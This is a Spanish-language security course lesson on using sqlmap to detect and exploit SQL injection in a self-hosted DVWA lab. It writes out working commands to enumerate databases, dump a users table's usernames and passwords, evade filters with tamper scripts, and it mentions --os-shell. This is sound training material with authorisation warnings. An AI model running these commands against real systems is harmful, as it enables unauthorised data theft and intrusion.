

Clase 093 — SQLMap

Parte: **4 — Seguridad de aplicaciones web** · Fuente: *sqlmap Documentation / The Web Application Hacker's Handbook* 🕒 Duración estimada: **100 min** · Nivel: **Intermedio**

🎯 Objetivo

Automatizar la detección y explotación de SQLi con **sqlmap**, la herramienta de referencia. Aprenderás a usarla con criterio: alimentarla con peticiones reales de Burp, ajustar niveles/riesgos y extraer datos, sin convertirla en un botón mágico que dispara a ciegas.

⚠️ **Ética:** sqlmap solo contra objetivos propios (DVWA, Juice Shop) o con autorización escrita. Un escaneo de sqlmap es intrusivo y puede alterar datos.

📊 Resultados de aprendizaje

Al finalizar, el alumno podrá:

1. **Alimentar** sqlmap con una request capturada en Burp (`-r`).
2. **Controlar** el alcance con `--level` , `--risk` y `--technique` .
3. **Enumerar** bases de datos, tablas, columnas y volcar datos.
4. **Automatizar** blind SQLi (booleana, temporal) sin escribir payloads a mano.
5. **Evadir** filtros básicos con tamper scripts, entendiendo sus límites.

📖 Temas

#	Tema	Por qué importa
1	Uso básico y <code>-u</code> / <code>-r</code>	Punto de partida correcto
2	level y risk	Controlan exhaustividad e intrusividad
3	Enumeración (<code>--dbs</code> , <code>--tables</code>)	Descubrir el objetivo
4	Volcado (<code>--dump</code>)	Extracción de datos
5	Autenticación y cookies	Testear tras el login
6	Tamper scripts	Evasión de filtros/WAF
7	<code>--os-shell</code> y peligros	Impacto máximo y responsabilidad

📖 Definiciones y características

- **sqlmap**: herramienta open source que automatiza SQLi de extremo a extremo. Característica: soporta múltiples motores y técnicas.

- **--level** (1–5): cuántos vectores prueba (parámetros, cabeceras). Característica: más nivel = más cobertura y ruido.
- **--risk** (1–3): cuán agresivos son los payloads. Característica: riesgo alto puede modificar datos.
- **Técnica (B,E,U,S,T,Q)**: booleana, error, union, stacked, temporal, inline. Característica: se seleccionan con **--technique**.
- **Tamper script**: transforma payloads para evadir filtros. Característica: no sustituye a entender el WAF.
- **--dump**: exfiltra el contenido de tablas. Característica: guarda los datos localmente en CSV.

Herramientas y preparación

- **sqlmap** (Python).
- **Burp** para capturar la petición y guardarla como archivo **.txt**.

```
sudo apt install sqlmap # o: git clone https://github.com/sqlmapproject/sqlmap
sqlmap --version
```

Laboratorio guiado

⚠ Solo contra DVWA/Juice Shop propios.

1. En DVWA, captura la petición vulnerable con Burp y guárdala como **req.txt** (clic derecho → *Copy to file*).
2. Lanza sqlmap sobre esa request:

```
sqlmap -r req.txt -p id --batch
```

3. Si detecta inyección, enumera bases de datos:

```
sqlmap -r req.txt -p id --dbs
```

4. Lista tablas y columnas de la base objetivo:

```
sqlmap -r req.txt -p id -D dvwa --tables
sqlmap -r req.txt -p id -D dvwa -T users --columns
```

5. Vuelca los datos sensibles:

```
sqlmap -r req.txt -p id -D dvwa -T users -C user,password --dump
```

6. Prueba con autenticación pasando la cookie de sesión (**--cookie**) para DVWA nivel Medium.
7. Sube el nivel/riesgo con cuidado (**--level=3 --risk=2**) y compara detecciones.

Ejercicios

1. Detecta el motor y la versión con **--banner**.
2. Compara resultados con **--technique=BT** vs. la selección automática.

3. Usa `--tamper=space2comment` contra un filtro que bloquea espacios.
4. Volca solo el usuario admin usando `--where`.
5. Explica por qué `--os-shell` es peligroso y cuándo (no) usarlo.
6. Documenta el impacto real del dump: ¿qué datos y qué gravedad?

Reto verificable

Con una única request de Burp, usa sqlmap para **volcar la tabla de usuarios** de DVWA y luego reproduce manualmente uno de los payloads que sqlmap generó, entendiéndolo. **Criterio de aceptación:** entregas el CSV volcado, el comando exacto y una explicación de un payload de sqlmap (no basta con "funcionó").

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
"all tested parameters do not appear to be injectable"	Sube <code>--level</code> / <code>--risk</code> o revisa el parámetro correcto
No respeta la sesión	Falta <code>--cookie</code> o el token caducó
Escaneo eterno	Limita <code>--technique</code> y usa <code>--batch</code>
Datos corruptos por <code>--risk=3</code>	Payloads stacked; baja el riesgo
Bloqueado por WAF	Prueba tamper scripts adecuados, con permiso

Preguntas frecuentes

 **¿sqlmap sustituye al conocimiento manual?** No. Automatiza lo tedioso, pero necesitas entender la SQLi para dirigirla, validar resultados y evitar destrozos.

 **¿Por qué empezar con la request de Burp?** Porque incluye cabeceras, cookies y cuerpo exactos; sqlmap testea todo el contexto real.

 **¿Es seguro usar `--dump` en producción?** No sin autorización. Extrae datos reales y puede violar privacidad y ley. Solo en labs o con permiso escrito.

Referencias

- sqlmap: <https://sqlmap.org/>
- Wiki de sqlmap: <https://github.com/sqlmapproject/sqlmap/wiki>
- OWASP Testing for SQL Injection (WSTG).

Siguiente clase

Clase 094 - Inyeccion NoSQL